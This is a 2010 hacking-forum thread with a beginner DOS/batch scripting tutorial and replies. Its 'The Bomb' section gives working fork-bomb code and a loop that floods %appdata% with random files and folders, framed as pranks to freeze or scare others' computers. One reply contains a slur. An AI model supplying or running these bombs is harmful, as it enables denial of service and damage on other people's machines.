Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

Disk Operating System [DOS]/Batch Tutorial

Hi, For my 3rd post here im going to teach everyone about DOS/Batch
Usefull websites

http://www.mizsynergy.com/batch.html
http://en.wikipedia.org/wiki/Environment_variables
http://en.wikipedia.org/wiki/DOS
http://en.wikipedia.org/wiki/Dos_commands
http://en.wikipedia.org/wiki/Fork_bomb
https://hackforums.net/showthread.php?tid=407102
To create a batch file open notepad and type your commands.
Save it with a .bat or .cmd file extension

First thing you want to do is learn the echo command. Thats the most used command for when making a GUI in batch.
heres an example of a GUI (Guided User Interface)

Code
@echo off
echo 1. To Learn Batch
echo 2. To Close
set /p option=Choose your option
if "%Option%"== "1" https://hackforums.net/showthread.php?tid=407102
if "%Option%"== "2" exit
This code Uses echo to show what happens when you enter 1 into the Batch program.
This is very helpful so your users can know what there doing.

@echo off
this command i suggest not using at the begginning of you learning batch. The reason being, if you have that in your code, you wont see what your file is doing.
Say you want to learn how a certain batch works. you C&P the code and save it and it has @echo off. well when you run it you wont see what the command is doing just the output, but if you remove @echo off you will see what commands are being put out and the result. (this will make it look ugly when it runs though so only do this when learning)
:s
echo 101010101101
echo 101010101010
echo 111010101011
goto s
good for scaring people


Color in batch
a hexidecimal code
color [2 digit hexidecimal number]
will set a color
a simple color z in the DOS prompt will result in a list
0A is a good color because its the matrix color and is what people think of when they think about hackers black and green

the Port Command
the port command is used to write to another file. to port something to a text file the code is as follows
Code
echo Im learning batch>>Learningbatch.txt
Code
echo Im learning batch>Learningbatch.txt
When there are 2 >s Im learning batch will be put at the bottom of the file (if there is other text) in other words it will be added.
When there are 1 > It will overwright the file and put the Im learning batch.
Variables
Variables are very important.
There is a list of DOS variables in the first wikipedia link i posted.
Some usefull ones
%random% - generates a number from 1-35500
%CD% -displays directory batch or cmd is being run in
%SystemDrive% -displays (or is) the drive windows is installed on
%appdata% - displays or is the path of application data

Different variables have different uses.
Say you want to install something in there Root Drive
and you dont know which one is it
Most people have windows installed on C: but they could have it installed on D: or F: or anyletter TBH
so %SystemDrive% automatically will detect whihc drive has windows installed on it
so if they have it on C:
%systemdrive% would = C:
You can create your own variables also with the set command (you saw it earlier)
Code
@echo off
echo 1. To Learn Batch
echo 2. To Close
set /p option=Choose your option
if "%Option%"== "1" https://hackforums.net/showthread.php?tid=407102
if "%Option%"== "2" exit
so in this code it sets a variable (and pauses it thats what the /p is for) and when you press enter %Option%= what ever you input
that brings us to the IF command

IF and IF NOT
In that code under the set /p string it says
Code
if "%Option%"== "1" https://hackforums.net/showthread.php?tid=407102
That means that if you inputted the number 1 when it asked for a variable, you would go to my thread.
here is the sytax of the command
if [whatever you want if like if this equals] [this]
for example
Code
if "%Option%"== "1" https://hackforums.net/showthread.php?tid=407102
the "%Option%"=="1" is the first bracket
and https://hackforums.net/showthread.php?tid=407102 is the command
this means if the variable is 1 you will see my thread.
IF NOT is exactly the same except it does the command if
Code
if not "%Option%"== "1" https://hackforums.net/showthread.php?tid=407102
when you dont enter one.

The Bomb
One of the Lulziest Things ever.
There are pretty much 3 main ways to make a batch bomb
The 1 super ineficient ways every Sk1d whos been on youtube knows are
Code
start
start
start
start
they just paste as many starts as they can and think its good
Sometimes they will put a
Code
:s
start
goto s
there are 3 commonly used variants of this
Code
:s
start notepad.exe
goto s
Code
start Virus.bat
start Virus.bat
The noobs are so dumb they dont even loop the last one.
the 2 ways to do it right.
These are the best bombs, and can freeze a computer quickly
The simple one
Code
:S
start %0
goto S
now. That is still pretty noobie. You got to add somestuff to it but you can figure that out your self
also
Code
:S
echo 1>%appdata%/%Random%.txt
MD %appdata%/%random%
goto S
goto command
Goto simply goes to
:S
echo yay
goto S
it will go to the S

This ends my tut here are some usefull commands
NSLookup see ip of site with out waiting for ping response
MD makes folder (directory)
Ping -w [number] >null is good for making a timer replace [number] with the desired waiting time in milliseconds 1000 millseconds is 1 second

Following this tut and expirementing and viewing those tutorials will teach you how to be a batch master

I did not include registrey stuff because i have no usefor it and therefor never learned it
Nice

I hope to see some of your work
HAH! my site's on there.
nicely done dude..........
(May 7, 2010 02:03 PM)Xeke Wrote:  HAH! my site's on there.

Yup. Was reading sum threads saw it and wuz like hmm interesting should help people out.
(May 7, 2010 02:14 PM)The Old One Wrote:  nicely done dude..........
(May 7, 2010 01:57 PM)Blue Username Wrote:  Nice

I hope to see some of your work

Thanks!
np npnpnp npnpnp npnpnp npnp
np npnp
No problem
WOW!
Millions of these things.
Stop posting them!
Post something useful!
Like how to use these commands in combonations, and shit.
(May 7, 2010 09:06 PM)ULH4L Wrote:  WOW!
Millions of these things.
Stop posting them!
Post something useful!
Like how to use these commands in combonations, and shit.

Yea, Thats exactly what he did.
Did you even read the post you fag?
Bump.
This tut should be stickied because none of the other tuts explain the variable sets and stuff
Nice post, was really useful to me:D
(May 9, 2010 04:19 AM)▓╠╣▓ Wrote:  Nice post, was really useful to me:D

thanks!
You should add some more stuff
Like Reg add
(May 10, 2010 08:51 AM)Blue Username Wrote:  You should add some more stuff
Like Reg add

I stated REG add is usually used for malicous stuff, i usually dont create malicous stuff
(May 11, 2010 07:43 AM)dr00py Wrote:  I stated REG add is usually used for malicous stuff, i usually dont create malicous stuff
You should still add it.
(May 11, 2010 12:22 PM)Blue Username Wrote:  You should still add it.
Ill add in next tutorial.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by Robert RougeSep 24, 2026 10:02 AM 4 219 Sep 24, 2026 10:02 AM
Last Post: Anonynuk
[C#] by __Digital__Dec 14, 2019 04:07 PM 6 242 Dec 14, 2019 04:07 PM
Last Post: Bunnyslippers69
[Shell] by fisica638Oct 30, 2019 11:05 AM 1 536 Oct 30, 2019 11:05 AM
Last Post: Hackoo